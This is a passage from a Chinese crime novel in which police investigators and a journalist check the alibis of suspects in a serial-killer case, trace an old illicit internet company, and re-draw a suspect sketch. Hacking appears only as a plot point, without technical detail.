她摸了摸揣在口袋里的内部手机,心想这秦梓需怎么还没给自己电话呢? …… 此时此刻的秦梓需正在市局开侦查会,经过一天一夜紧张的拉网调查,三个方向的调查结果都有了明显进展。由于这是机密会议,信号都被屏蔽了,她没办法给章弥真打电话。 此前秦梓需提出的关于公安系统架构和运维公司的休假员工排查,名单已经出来了,人手下发一份。名单上一共6个人在案发时休假,其中3人的行踪已经得到了确认,嫌疑排除。另外三个人说是在家里休息,但因为都是独居,无人能够证明,因而暂时还在排查中。 秦梓需扫了一眼这三个人的名字:朱新红、杜源、卢康安,默默记在心里。 接下来的新消息让秦梓需十分震惊:耿剑秋的母亲卷入了长生强视的乙/醚走私事件,通过和经侦的联合侦查,现在已经从下游厂商那里确认2001年3-5月时,长生强视的乙/醚供货中有缺,是后来补上的。少的不多,每次只少两瓶,总共8瓶。每瓶250ml,总量2升。 这个量,对于一个工厂来说确实不算多,但对于凶手一个人来说,那就是巨量了。哪怕凶手只拿到了1瓶,只要保存得当,就可以反复使用许多次。所有侦查员得知丢失了2升乙/醚后,内心都是倒吸一口凉气。 而派去侦查魏红明、魏嘉康父子的侦查员,也带了最新的侦讯结果。公安直捣黄龙,直接上门侦讯,西藏警方也控制住了正在西藏旅行的魏嘉康,利用网络视频通话进行了同步侦讯。 魏家父子皆承认与邵彦华相识,但都说已经很多年没有见过了,早就断了联系。父子俩在这方面的口供是一致的,但不排除提前串供的可能性。 针对魏红明,警方进行了全方位的盘问,魏红明既不知道邵彦华的去向,也并不知道自家儿子和邵彦华除了普通同学关系之外,还存在什么特殊的关系。 他只承认自己曾经是邵彦华的主治医生,治疗过他的阿斯伯格综合征。他也承认邵彦华确实是他儿子引荐到他这里来看病的。据他所说,邵彦华在2002年5月时疾病已经好转,后来就再也没有找他看过病。 而魏嘉康那里的说法也一样,他说他和邵彦华之间就是普通朋友,因为受到父亲影响,对精神病理学有一定的了解,察觉到邵彦华有精神疾病的症状后,就趁着家长会的机会,带着自己的父亲去见了邵家父子,邵长生于是才会带着儿子去找魏红明看病。 而自从初中毕业后,他就再也没有见过邵彦华。 他并不承认在鸿鹄教育补课时,和邵彦华有过接触。 “你们到底在胡说什么,邵彦华压根就不在我们补课的班里呀,我没见到过他!我说了一万遍了,自从初中毕业过后,我就再也没有见过他了,我哪儿知道他到底到哪儿去了!”魏嘉康在西藏被突然控制,旅行计划全部泡汤,在侦讯视频里的情绪很激动,一直在疯狂地拍桌子。 秦梓需蹙着眉头盯着视频画面,十数年不见,魏嘉康还是那幅富态大少爷的模样,就是五官确实老成了许多,下颌还胡子拉碴的,略显颓丧。 “这小子在撒谎,他和邵彦华绝对关系不一般。”市局的预审专家看完视频后,几乎是第一时间就判断道。 谢云卿用笔尾点着桌面道:“我们再次核实了一下鸿鹄教育的名单,05年前前后后几届学生都查了,确认邵彦华确实不在其中,这一点,魏嘉康应该没有撒谎。” “那当年杨莲为什么要跑到鸿鹄教育去?总得有原因吧。”有一名资格很老的老刑警问。 就在此刻,一道闪电在秦梓需脑海中劈下,她豁然开朗,开口道:“原因也许是她要找的不是鸿鹄教育,而是鸿鹄教育那栋楼上的其他单位。我们一直在查鸿鹄教育,怎么查怎么查不出来,应该是被凶手学生身份这个因素给带偏了!” 谢云卿唇角牵起笑容,用笔点了一下秦梓需坐的方向,笑道:“还是秦老师反应快。三组你们来汇报一下。” 一名年轻的侦查员立刻站起身,语速略快地汇报道: “我们将鸿鹄大厦自2000年以来所有曾外租过的单位全部排查了出来,发现有一家公司极度可疑。” 他这边汇报着,谢云卿已经将一家公司概况投影到了屏幕上: “速联网络,是一家初创于2000年的早期互联网公司,这家公司明面上做的是软件开发,他们开发的是一款播放器。但我们查出这家公司暗地里一直在搞黑产,他们搞了一个黄色网页,传播□□色情视频,收取会员费来牟取暴利。这家公司06年因为法人卷款潜逃国外而倒闭了。 “这家公司在鸿鹄大厦的第十层租了一个办公区,我们走访了当年在鸿鹄教育做过清洁工的老人,这老人说当时有不少附近的大学生甚至高中生,会电脑、懂网络的,都曾经被他们私下里招揽过去打工。当时老人并不知道这家公司到底是干什么的,还以为是正规的公司,他也不懂电脑。实际上这些人都不是正式员工,按照时薪结算工资,主要做的就是黄色网站的运营。 “我们还从当年的鸿鹄教育的老师口中问到,有人目睹有鸿鹄教育补课的高中生,打着补习的旗号,实则偷跑到楼上,去速联里上网的。鸿鹄教育的老师都知道这家速联网络,他们都以为是网吧,从没想过里面有什么肮脏勾当。本来就是义务教育之外的补习班,学生付了钱来上课,老师从不管学生逃不逃课,只管赚钱。学生不在,反倒乐得轻松。 “所以,虽然没有证据,但我们高度怀疑魏嘉康、邵彦华都曾经在这个速联网络里打过工。” 是了,困惑已久的问题终于解开了,秦梓需长舒一口气。 第65章 第六十五章 一直沉在水底的速联网络终于浮出水面,带出了一个早期的黄色网站产业链。针对这个发现,侦查员又开始忙活起来。绝大部分人力都被投入到排查曾经在速联网络打过工的学生名单去了,公安试图在其中找到魏嘉康、邵彦华在其中打工的证据,以此来逼迫魏嘉康说实话。 否则他抵死不承认,公安很难继续深挖下去。而时间紧迫,魏嘉康只能扣押24小时,他们必须在这24小时内找到点实在的东西。 侦查会结束,所有侦查员一窝蜂向鸿鹄大厦所在地集中赶去。这些排查的事不需要秦梓需亲自参与了,谢云卿让她留在市局,跟在她身边做情报分析和推演。 秦梓需趁着上厕所的功夫,抽空给章弥真打电话,讲了一下大致的情况。末了,就听章弥真很丧气地道: “搞了半天我这是做了无用功啊,找了柳大嘴查这事儿,结果压根没查到点子上,不仅害了柳大嘴被处分,还害得我工作室都被牵连了。” “不不不,查鸿鹄教育这一步没彻底走偏,至少咱们查到了魏嘉康。”秦梓需忙道,“如果不是为了查魏嘉康和邵彦华的关系,我们也不会查到这一步。” “好吧,我得到了些许安慰,些许。”章弥真还是很受打击。 “你们工作室现在怎么样啊?”秦梓需问。 “据说网警今天又到数媒中心了,要查黑客入侵的情况。所有人压力都贼大,这事儿如果查不清楚,小影就得背锅了。我们工作室今年估计一整年的业绩都要打水漂。”章弥真叹息道。 “放心,绝对会查清楚的,不会冤枉任何一个人。”秦梓需安慰道。 “嗯,情况我知道了,你好好工作吧,现在这么紧张,你也别老是给我打电话了。”章弥真道。 不是你让我给你打电话的吗?现在又说不要打了,而且我这不是第一通电话嘛,也没老是打啊……秦梓需内心虽然吐槽连连,但她知道这是章弥真出于关心的话语,心中还是很受用的。 电话挂断,秦梓需从卫生间走出来,一下就撞见门口谢云卿正似笑非笑地盯着她看。 “谢……支。”秦梓需莫名其妙慌了一下,但好在她反应很快,脸上的神色没有出任何问题,“上厕所啊。” “不,我在找你呢,打电话?”谢云卿问。 “嗯。”秦梓需应了一声,把手机揣进了牛仔裤口袋里。 “打什么电话非得躲厕所啊?”谢云卿笑问。 “没啥,就家里电话。”秦梓需道。 “家里电话?用内部手机打?” “这不是怕窃听嘛,不想给家里惹麻烦。” “你不是很久没跟家里联系了吗?”谢云卿问。 “这是谁告诉您的?”轮到秦梓需笑起来了。 “嗯,我们最近和校长沟通比较多。”谢云卿倒是没什么负担地说出来了。 秦梓需扶额,校长都在背后蛐蛐她啥呢?咋搞的专案组领导全知道了? “校长那也不能把我家里的情况搞得一清二楚吧。”秦梓需讪笑道。 “秦老师,据我所知,部里赴韩调查的事儿已经加急了,这两天就会报名单、收材料准备办公务护照了,你要做好心理准备,你一定在名单上。”谢云卿突然给了秦梓需一个相当重要的信息,像是当头给秦梓需砸了一棒子,让她神情紧绷。 见她神色不对,谢云卿抬手做安抚状:“你别紧张,我跟你说,你爱跟谁打电话就跟谁打,我不管的。但是,还是要注意纪律,别让人揪住小辫子了。尤其要注意的是,看住你家里那位,近期别让她乱跑。” “哈哈,嗯。”秦梓需干笑了两声,看来到底是没瞒过去,好在谢云卿应该是并不反对章弥真参加专案组协助办案的。 “谢支,她到底还能不能返回专案组,和我们一起查案?我认为她独自在安全屋里,并不是一个好的安排。她跟我去韩国,反而会更安全,现在那个凶手可不敢过境出国。”秦梓需决定直截了当问。 “这点我当然是认同的,但毕竟她手底下工作室惹出的事儿,风头还没过去,纪委都盯着呢,我们也不好明目张胆地跟纪委作对。所以,只能说是命运的安排,这趟韩国注定她没法走了。”谢云卿也很无奈。 秦梓需垂首,轻轻叹了口气。她答应了章弥真一定争取让她也去韩国的,她不想再看到她脸上失望的表情。 谢云卿拍了拍秦梓需的肩膀,道:“走吧,跟我去一趟信息处,咱们一起看一下监控大屏。” “哪儿的监控?”秦梓需问。 “那三个运维公司休假人员家附近的监控,我们刚拿到手,还没来得及看。你上次火眼金睛,从客运站监控里找到了嫌疑人,咱们一起,事半功倍。”谢云卿解释道。 “好。”秦梓需立刻来了精神。 …… 秦梓需这头忙得热火朝天,章弥真却在家要闲得生草了。 由于工作室出事,目前她们一切正在进行的工作都暂停了。章弥真把前期积攒的稿件都写完了,包括几个带货的广告稿子。发给吴岚审核后,她就彻底没了工作。 于是打开了案件调查的报告文档,继续写她的报告文学。但让她觉得可悲的是,她的报告文学似乎就卡在了当下,写不下去了。没了亲身参与的经历,她也就没有了继续写下去的激情与动力,想着自己前半部分写得如此精彩的故事,就在这里戛然而止,她就感到索然无味,写了几行,就没心情写了。 “唉……”她长长叹了口气,从自己房间出来,准备给杯子里添点水喝。 陈薇正坐在客厅里,从电视里调了一部黑白老电影出来看,声音调得很低,她看得倒是全神贯注。见章弥真走出来了,她立刻起身,章弥真忙压了压手,让她坐下。 “你看你的,别管我,我不出去。” 陈薇又坐了回去,就在这时,突然响起了敲门声,有个女孩子的声音响起: “你好,我是郭雅洁,我妈妈是李之枚,我来送点东西,秦老师在吗?” 章弥真忙放下杯子准备去开门,但陈薇却先她一步制止了她。后者凑到猫眼往外看,门口确实站着一个小姑娘,手里提着一个保温盒。她神色如常,一点看不出紧张,应该没有不法分子躲在附近逼迫她。 陈薇很谨慎地开了门,左手一直压在后腰上。 “你好……”郭雅洁迟疑地打招呼,并向门内望去。门后,章弥真正略显紧张地盯着她,而开门的则是一个高大壮实的女人,目露凶光。郭雅洁大概是被这场面吓到了,声音略显畏缩。 “我……我就是来送点吃的……”孩子说话有些结巴。 “你找秦老师?她不在呢。”章弥真出声,缓和了一下气氛。 “那……给你们吃也一样的,我自己做的一点烘焙糕点,有小蛋糕和饼干,可以当零食吃。”女孩小心翼翼把饭盒递了进来。 陈薇没接,先踏步出去,环视了一下楼梯间,然后才出声问: “你来的时候,有没有人跟在你后面?” “没有,我过来时一直都在观察的。”郭雅洁说这话时倒是很笃定。 “你先进来。”陈薇把郭雅洁带进屋里,然后进屋,反锁了门。 “陈薇,这孩子是李法医的孩子,住在同一个小区里的,你别这么紧张,应该没事的。”章弥真道。 “哦,那问题不大。”陈薇终于放松下来,她转向郭雅洁道,“小姑娘,你下回来,先和我们联系一下,别不声不响就过来了。咱们这里情况比较特殊,你能不来,最好别过来。” “我知道,我妈妈说这里是安全屋。您就是章弥真姐姐吧,我妈妈说你是重点保护对象。”郭雅洁对章弥真笑道。 章弥真苦笑了一下,好嘛,混社会十多年,终于混成重点保护对象了。 “来,让我看看你给秦老师做了啥好吃的。”章弥真扬起笑容,向郭雅洁招了招手。 郭雅洁乖顺地走过去,递上了保温饭盒。章弥真打开后,甜香的气息扑面而来,热气腾腾的小蛋糕刚烤出来,金黄金黄的,装在纸杯里。下一层则堆了满满一层小熊饼干。 “哇,这都是你做的?你也太能干了吧。”章弥真赞道。 “嘿,一点小爱好。”女孩有点不好意思,“啊,章姐姐,还有这位姐姐,你们吃,我那儿还有呢,到时候等秦老师回来,我再送过来。” “谢谢你啊,小姑娘。”陈薇笑起来,她接下这个任务时,可没料到居然还能有这种福利。 章弥真去泡了茶,三个人就围在餐桌边,一边喝茶、吃甜点,一边聊起天来。郭雅洁年纪不大,人却非常成熟,不愧是师范附中的优等生,章弥真感觉自己在她这个年纪时,都没她这么聪明能干。 “你们师范附中是不是都是天才小孩啊?”章弥真笑问。 “天才有的,但我感觉,还是勤奋的人比较多。”女孩思索道,“他们真的是卷死了,我比不过他们。” “我听秦老师说,你想考公安大学当刑警?估计你身边的同学,没几个有这个想法的吧。”章弥真又问。 “还真是,他们都要考名校,但对于具体未来要干什么,多数人可能心里没那么笃定。”小姑娘道,“我不一样,我爸妈都是公安,我打小就看他们抓坏人,太帅了,我早就认定这是我的天职。” 陈薇笑道:“那你打得过坏人吗?我看你细胳膊细腿的,不锻炼可不行。” 郭雅洁一点也没被难倒,道:“我不一定要打得过啊,靠脑子抓坏人嘛。而且我一直有在练跑步的,都说公安最要练的就是跑步。” 章弥真来了兴致,她想了想,道: “秦老师最近在办的案子,是个非常复杂难办的案子。不知道你这聪慧小脑瓜,能不能提供点帮助啊?” “诶,章记者,这不好说的吧。”陈薇忙阻止。 “我又不是说出全盘案情,就是有些细节上的问题,不大能想明白。”章弥真解释道。 “说来我听听,我想听!”郭雅洁非常兴奋,双眼放光。 章弥真组织了一下语言,道: “这个犯罪分子很可能是你们师范附中毕业的,非常聪明,非常狡猾,他犯了好多起命案,都让他逃脱了。他中途出国过,通过非法渠道变换了身份,又重新潜回国,很可能就一直藏匿在胥城。7月初时他在云南犯下了最新的一起案子,随后再次潜逃,我们查遍了所有圈定嫌疑人的行踪,都找不到有人去过云南。你说,他是怎么做到的?” “你们圈定的嫌疑人是哪个范围?”女孩问。 “公安系统运维的软件公司内的员工,因为这个凶手是个手段高超的黑客,他黑入了公安系统,掌握了我们早先查案的情报,所以先下手为强了。只有这个公司范围内的员工具备这样的能力,但是我们查了很久,离职、出差的都没去云南,休假的也找不到离开胥城的证据,全部排除嫌疑了。”章弥真解释道。 小姑娘仿佛遇到了高考数学卷的最后一道大题似的,皱着眉头开始努力思考起来。 第66章 第六十六章 市局信息处监控大厅,一整面墙的大屏正在不间断播放众多的监控录像。这些监控录像基本都是交通路网监控,按照探头编号依次排列。 谢云卿带着秦梓需来到一台电脑前,有侦查员已经粗略过了一遍监控,见她们来了,立刻将监控视频调到最开始。 谢云卿道:“云南那里的案发时间是7月6日傍晚5点到6点之间,这个时间段里三个嫌疑人朱新红、杜源、卢康安所居住的小区监控我们都调过来了,你来看一下。” 首先播放的是朱新红,侦查员解释道:“这人请假是因为要和女朋友结婚了,要花时间筹备婚礼。他从7月3号休到了7月8号。每天,他都有出入小区的记录,据他所说,是每天都要陪女朋友去订酒店、拍婚纱照、找婚庆公司商讨事宜之类的,也算是早出晚归。这是7月6号当天晚上6点多的监控,拍到他回小区,被拍得很清晰,我们基本可以排除他的嫌疑。” “嗯……”秦梓需沉吟,不在场证明很扎实,确实看不出奇怪的点。 “第二位是杜源,他独自住在城郊新楼盘里,那个楼盘刚落成,很多住户都还没入住,监控还没做到全覆盖,但进出口有监控。据他所说,休假的原因是因为他和他直接领导闹了些小矛盾,他觉得很累,干脆休假几天,缓一口气。他是个宅男,全天都闷在家里打游戏不出门,吃穿用度全靠外卖、快递上门。我们拿到了每天的外卖和快递记录,覆盖了7月5号-7月9号,而且也找快递员和外卖员核实过,确实是本人在家,小区监控也没有看到他出入。” 秦梓需问:“快递员和外卖员认识他?怎么能确认就是他本人?” “还真认识,那个快递员负责他们那片好几个月了,经常给他送东西,打照面,是认识他的。因为他频繁点外卖,外卖员也有重复给他送过单子,确认是本人。”侦查员道。 见秦梓需没有继续问,侦查员便接着道: “第三个人,卢康安。这人是我们市局的运维人员,省厅那里的活也是他在干。他挺不容易的,一直在照顾植物人老父亲。他家住在老小区,二楼,小区里也有不少监控。可以拍到他每日进出,买菜、拿快递等等。他休假是为了带老父亲复查,他请的假比较短,就请了7月6号、7号两天假,因为前面两天是双休日。 “7月5号这天,他订了一辆非急救医疗转运车,把他父亲送到了医院去。之后他父亲就住院检查,他在院陪护,期间没有回家,现在他父亲情况转危,必须长期留院治疗,所以7月7号他是独自回家的,也被拍下来了。” 这个卢康安,好眼熟,秦梓需突然想起来自己在市局和他照过面,匆匆一面,她没能留下太多印象,但如今终于想起来了。但这个人的脸……秦梓需确实没有见过,应该绝不是她初中同学的脸,至少不是邵彦华的脸。 秦梓需问:“他在医院有被拍到吗?” 谢云卿也道:“医院的监控调出来看一下。” 侦查员操作了一下,打开了一段监控视频,这是医院住院部走廊上的监控,7月6号下午两点多,能看到一个穿着T恤、短裤,身材高大、偏瘦的男子,手里端着一个盆从病房里走出来,迎着摄像头所在的方向穿过走廊,消失在了镜头里。医院的监控质量不错,画质相当清晰,把卢康安的面孔五官都拍得很明白。 “这就是卢康安,6号、7号,监控里反复拍到了他出现,这走廊他来来往往不知道走了多少次。他不可能插上翅膀飞到云南去犯案。我们也找了医院核实过,医生护士都说见到他了,6号、7号那两天他确实在医院陪护。” 秦梓需的眉头紧锁,她沉吟了片刻,问道:“是哪家医院?” “市脑科医院。” “他家里没有其他人了吗?只有他和他父亲?” 谢云卿也比较了解情况,解释道:“他们家原来是一家四口,父母大概是二十年前离婚的,他跟了他父亲,他妹妹跟了他母亲,然后他母亲带着她妹妹嫁了别人,去了外地生活去了。他父亲那时候想不开跳河自杀,后来被救上来了,但因为窒息导致大脑不可逆损伤,成了植物人。他自那以后就一直在照顾他父亲。因为这种状况,他也一直没有结婚,就是单身一人。” “这家庭状况挺复杂的。”秦梓需道。 侦查员道:“是啊,所以我说他不容易。但卢工人特别好,可以说是温润如玉,谦谦君子。” “这三人的体貌特征符合凶手的范畴吗?”秦梓需问。 侦查员道:“朱新红矮了点,一米七出头,比一米八差远了。杜源和卢康安都在一米八以上,两人都挺瘦的,符合体貌特征。我们也针对画像比对了一下照片,感觉都长得不像。” “这仨人你们现在都盯着吗?” 侦查员道:“盯着呢,我们让公司高层找了个借口通知他们在家待着,派了人在他们家附近盯梢。目前这三人都在家里,应该都不知道被警方盯上了。” 秦梓需思考了一会儿,道:“这三个人的照片给我一下,我来做一下比对。” “好。” …… “会不会是三十六计中的偷梁换柱之法?”郭雅洁憋了半天,说出了自己的推测。 “怎么说?”章弥真追问。 “就是你们以为你们看到了嫌疑人,其实那不是嫌疑人。有人替代他出现在了监控画面里,让你们以为他在胥城,但其实他本人已经去了云南。”郭雅洁道。 陈薇笑了:“你这也太异想天开了,小说里可以,但现实里怎么可能会有这种事?” “他不是黑客嘛,他有手段可以做到啊,比如替换监控视频,通过某种高科技手段,骗过机场、高铁的人脸识别之类的。我不知道,我瞎说的。”小姑娘说到最后,自己都不自信了,举手投降。 “哪有人可以这么手眼通天啊,你还是小说看多了。”陈薇摇头笑道。 郭雅洁鼓起腮帮子,感觉不服气的样子。章弥真沉思了片刻,笑道: “你的思路是没错的,但如果公安都查不出破绽,就等于没有证据。你再想想,还有没有其他可能性?” “我想不出来了,如果你们确认他就在那个嫌疑范围内,他只有靠这个办法去逃脱侦查。”郭雅洁道。 “那你觉得他会有同伙吗?”章弥真问。 “嗯……难说,也许有,我感觉很多事他一个人可能做不来,需要人帮忙。但我感觉,即便有同伙,可能也就一个,不会再多了。毕竟事密则成嘛。”女孩道。 “你都哪儿学来的这些词儿,一套一套的。”陈薇道。 “我就是看小说看来的,悬疑推理、刑侦小说我都看了个遍。”郭雅洁瞪着陈薇道。 陈薇一摊手:“看吧,我就说你小说看多了。” “哼,那又怎么样嘛,人脑都是一样的构造,大家想的事儿还不都是那些事。看多了各种套路,再看现实里的案件,也都能猜个大概。”郭雅洁辩解道。 两人正讨论着,章弥真的内部手机响起,她一看是秦梓需来电,连忙起身,进了屋里接电话。 “喂?怎么样了?” “不好意思弥真,我今晚得加班了,可能会很晚,不知道几点才能回去。” “咋了,查案不顺利?”章弥真问。 “算是吧,咱们现在陷在不在场证明里面查不动了,我正在比对几个嫌疑人的面部,看他们和画像是否相近,但系统比对了好几轮了,没比对上。我估计可能还是手绘画像的问题,正在试着重做分析,调整参数。”秦梓需的声音听上去有些懊恼,也有些疲惫。 “你别累着自己了,急也急不来,你好歹也闭眼休息会儿。”章弥真道。 “嗯,我知道的,谢谢。” “忙完了早点回来,郭雅洁同学还给你送亲手做的小糕点呢。”章弥真笑道。 “是吗?她到安全屋来了啊。” “嗯,这没关系吧?” “问题不大,但最好还是让她少来,小心驶得万年船。替我谢谢她。” “得嘞。” 挂断电话,章弥真出来,向郭雅洁宣布了秦梓需加班的坏消息,小姑娘倒是很看得开,道: “没事儿,秦老师忙点才好呢,早点抓住坏人。” 临近傍晚,郭雅洁也得回家了。这小姑娘特别能干,公安家庭父母都很难准点回家,小姑娘打小就养成了独立性格,能很好地照顾自己和父母。放假在家她负责所有家务,包括买菜做饭。现在她要回去给父母做晚饭了。 目送郭雅洁离开后,陈薇有些感慨:“都说现在的小孩骄纵,但优秀的孩子就是不一样,真招人喜欢。” 这话让章弥真想起了自家母亲,想她跟郭雅洁一般年纪时,被母亲宠上天,十指不沾阳春水,一直到最近一两年,才给母亲炖过汤,做过饭,次数也很少,想想不由得有些自惭形秽了。 她和她母亲都爱喝莲藕排骨汤,章弥真想着改日炖一锅,托人给母亲送去。 由于秦梓需加班,陈薇也被迫跟着加班。安全屋不好点外卖,冰箱里还有些李之枚送来的食材,章弥真干脆随便炒了一锅炒饭,跟陈薇分着吃饱了。 她问了下陈薇的个人情况,她不是胥城人,考入特警队后一直住在基地的宿舍里,在本市还没买房子。她也没结婚,家里人都在老家,属于是没牵没挂、一人吃饱全家不饿。 “为了以防万一,我还把过夜的换洗衣服都带来了,能应付所有情况。”陈薇拍着自己的双肩包笑道。 郭雅洁的到来倒是驱散了章弥真此前那股颓丧之气,她洗澡时脑子里一直在思考小姑娘的那番猜测。她觉得很有道理,想着要不要给秦梓需打个电话说一下,但又怕打搅到秦梓需。 最后退而求其次,她躺在床上,编辑了一条很长的短信,发给了秦梓需。短信末了她还补充了一句:【你有空跑个菜市场,买点排骨和莲藕回来,我想炖个汤给我妈。】 短信刚发出去,她的智能机就来微信了。现在她对自己的智能机使用很谨慎,尽量只用来联系同事,不会用来联系公安。和同事的交流中也绝对不会提到查案的事。而且,甚至对于最近发生的内参泄密事件,她都叮嘱组里人三缄其口,不要在网上随意提起。 是吴岚给她发了语音消息:“你和兽医约好时间了吗?” 哎呀,差点把这事儿给忘了。章弥真答应吴岚联系兽医,把两只猫猫——阿真和小梓送去公司的。她昨晚给兽医发了消息,兽医一直没回,她也就把这事儿暂时忘在脑后了。 她忙找到V-爱人如爱猫那个对话栏,点进去查看。兽医还是没有回复,不知道在忙什么。 她刚准备回复吴岚,突然手机一震,她一下没抓牢手机,手机掉下来砸在了鼻子上,疼得她眼泪都飙飞出来了。 “嘶……”她吸着凉气、揉着鼻子,坐起身来,泪眼婆娑地查看消息。 兽医就在刚才给她发了个消息:【不好意思,这两天事儿比较多,忙晕了,忘了回复您消息。没问题的,我可以帮您把猫猫送去您公司,您给我个地址和联系电话。】 章弥真于是把数媒中心的地址发给了对方,想了想,她没有留吴岚的电话给对方,而是跟对方讲到地方了就给自己发消息,自己来联系吴岚。 【大概什么时间送比较合适呢?】兽医问。 章弥真想了想,又找吴岚商量了一下,最后给兽医回复道: 【最好明天上班前,大概7:30之前,你到数媒中心地下停车场的B1楼梯口等一下,我同事会去找你的,她是个四十来岁的女性,微胖,戴黑框眼镜。】 【OK】对方比了个OK的手势。 第67章 第六十七章 时间倒退回当天晚上6点多,秦梓需刚挂了云南方面的视讯通话,望着手里刚刚绘制出的画像,感到迷雾遮眼。 为了验证云南那边的画像师所绘制的凶手画像到底是否准确,她专门和那对接触过凶手的母女打了视频,亲自从她们口中听取容貌描述,并绘制画像。 秦梓需反复询问了几个关键点,一是眼睛的神态结构,诸如眼型、眼神、瞳孔与眼周细节,二是鼻梁、鼻头、鼻翼的形状和比例,三是嘴唇和牙齿的状态,口腔内里的气味。四是耳朵的形状和位置,包括是否有耳洞等。 母亲根据她的问询,尽可能地回忆道:“他长得很帅,就是皮肤有点黑。浓眉大眼,眼睛什么形状说不上来,总之很端正,不是什么三角眼。黑白分明的,眼神还挺温和。好像是有点眼袋,那个叫啥,也可能是卧蚕。 “鼻梁高,鼻翼窄小,很立体。嘴唇不厚也不薄,唇角略有些上翘,像是一直在笑,宽度大概比鼻翼略宽。他嘴巴里没有烟味,牙齿也挺好的,挺白净整齐的。耳朵……这实在没怎么注意,就正常的耳朵吧,应该没有打耳洞。 “脸颊比较瘦削,棱角分明的。脸上很干净,没什么痘印瘢痕,有些胡子拉碴的。” 她女儿也一直说那是个帅叔叔,手臂很有力气。但小孩子词汇量贫乏,也说不出多少形容词。 按着她们的描述,绘制出了一幅画像,亮给她们看,母女俩都说差不多就是这个样。 可秦梓需看着自己绘制出的画像,再跟之前那位画像师的一比对,根本是大差不差,压根没有任何突破。这张脸就是一张完美的标准中国男人脸,英俊但毫无特征,不仅与三个嫌疑人的相片相去甚远,和邵彦华的长相也对不上。 朱新红是个大圆脸,五官尚算端正,但人很胖,眼睛是三角眼,和画像差得很多。 杜源瘦削,长得一副尖嘴猴腮的样子,再怎么化妆也不能是画像中的模样。 而卢康安是长脸,俗称苦瓜相,眉毛稀疏、眼角下垂,皮肤还很差,满是痘坑痘印,和画像也存在不小的差距。 邵彦华的照片还停留在他高中时期,小眼睛,眼神阴鸷无神,面庞瘦削,整体上算是个塌鼻梁、扁平脸,和他父亲放在一起,有七分相肖。那会儿他正处在青春期,也是满脸痘痘,长得也谈不上帅,除非整容,否则很难说未来会发展成画像中的英俊男子。 秦梓需感觉自己步入了迷宫之中,再也判断不清方向了。她只有按照自己的分析,不断地微调五官的参数,希冀能匹配上。无数次失败,无数次重来。 谢云卿陪秦梓需加班到了晚上9点多,监督着她吃了点饭下去。 此间秦梓需一直在死磕那三张照片和画像,人就像是疯魔了一般,谢云卿有些唏嘘,她觉得秦梓需的压力实在太大了,这个连环凶案的凶手,确实带给警方前所未有的压迫感,他甚至在主动戏弄和挑衅警方。 9点多的时候,谢云卿接到了排查鸿鹄大厦的侦查队长的电话,便出去接电话了。她回来时,注意到秦梓需摆在手边的内部电话的位置动了,心想她刚才估计又趁机给章弥真打电话了。 看破不说破,谢云卿对秦梓需道: “速联那里查出来了,据知情人口供,魏嘉康、邵彦华确实在速联打过工,沈赓倒是排除嫌疑了,他在鸿鹄报的是一对一小班,跟魏嘉康不在一起,也没法逃课,上下补习都有家长接送,可以排除嫌疑。 “提供关键口供的是一位补习班的女老师,她是其他初中的数学老师,和陈君梅经常会在区里的教学研讨会上见面,开会时也经常坐在一起,算比较熟悉。据她所说,她当年还把魏嘉康、邵彦华在速联逃补习课上网的事跟陈君梅说过,她一直以为那就是个网吧。” 秦梓需哀叹:“我的天,当年排查了一轮又一轮,她怎么三缄其口,就是没提过这茬呢?” “这也怪不了她,当年查的方向不对,我们查的是这些学生、老师在抛颅案案发时的动向,压根就没问过他们速联的事,不提也是很自然的。”谢云卿叹息道,“虽然这个信息迟了这么多年,总算还是让我们查到了。我已经让西藏那边继续审讯魏嘉康了,相信不久他就能都吐出来了。” 秦梓需对此表示不乐观:“只是知道速联的事,还不至于让魏嘉康说出更多。他完全可以说他跟邵彦华不熟。我们只有24小时,他只要咬牙熬过去,我们必须放人。” “是啊……所以我打算让预审科诈他一下,秦老师,你觉得怎么诈比较好?” 秦梓需想了想,道:“让预审提一下梅凝隽,看他什么反应。” “啊?”谢云卿完全没跟上她的思路,“为啥?” “我想也许当年和邵彦华有关系的人也和魏嘉康有关系,邵长生就不谈了,梅凝隽这个后妈来历不明,我感觉有点不简单。就是乱猜的,谈不上有什么逻辑。你们要是实在没手段,就诈一下,没损失。”秦梓需道。 “行,我知道了。” 谢云卿刚准备给预审科打电话,突然手机响了,她忙接起,并开了免提: “谢支,有新情况。”电话那头是个很干练的女声。 “嗯,听着呢,你说。” “美国那边刚给了最新的消息,葛明桂撂了,说他当年资金链断裂,为了周转,曾经在黑市卖过自己的公司信息,拿到了一笔不菲的钱。黑市的人买这些信息,做成材料,就是为了骗过美国的移民审查,让中国这里的一些背景不清不楚、急需出国的人能顺利进入美国。 “他说他从没接触过什么邵家人,他从头至尾都没有和买他公司信息的人接触过,都是黑市的人在操作里面的事。” “好家伙,原来是这么回事。”谢云卿笑了,“美警那里能追查黑市吗?得搞清楚邵家人的去向。” “比较困难,美国的情况,你懂的。他们的警察做事本来就不上心,何况还是帮我们查。邵家人不是红通,跨国犯罪合作机制的门槛够不上。” “行吧,你辛苦了,这事儿先这样,后续有新情况再说。” 电话挂断了,谢云卿看向秦梓需,耸了耸肩,道:“都得靠我们了。你忙你的,我去忙我的事了,你注意眼睛,别累着了。” “嗯,谢支你也早点回去罢。” “回去了也是加班,都一样。”谢云卿说着就走出去打电话了,她一天无数的电话,要协调无数的事,秦梓需真是佩服她的统筹能力。 她回过头来,眸光凝在电脑屏幕上端一字排开的三张照片,还有下方那张手绘画像上。 凝眉看了一会儿,她拽过一张纸,一支铅笔,开始一笔一划地重绘那张手绘画像。 师傅,你能不能告诉我这张图到底哪儿不对,哪儿出错了……是不是我对他的心理画像出了问题,才会导致我画不出他的面孔? 他到底是用什么办法骗过了我的眼睛?秦梓需捏紧了铅笔,眼白中有血丝浮现。 …… 章弥真一觉醒来,第一件事就是开了房门,去查看对面秦梓需的房间。秦梓需的床空荡整齐,她又探头看了眼玄关,没看到秦梓需的运动鞋,她的拖鞋静静地摆在门口。 章弥真知道她昨晚应该是一夜未归。 客厅里传来了陈薇轻微的鼾声,她还在熟睡,章弥真看了眼时钟,早上六点半,她轻轻叹了口气,进了卫生间洗漱。 等她梳洗完毕出来时,陈薇已经醒了,且已经把沙发都收拾好了。 “要不等会儿你回去一趟拿点换洗衣服过来吧,干脆就住下来,不用来回跑了。”章弥真对她道。 “秦老师不跟我换班了吗……”陈薇挠了挠凌乱的头发,睡眼惺忪地问。看来她还没睡醒呢。 “老秦她后头估计会忙得不可开交,什么时候能回来都是未知数。”章弥真道。 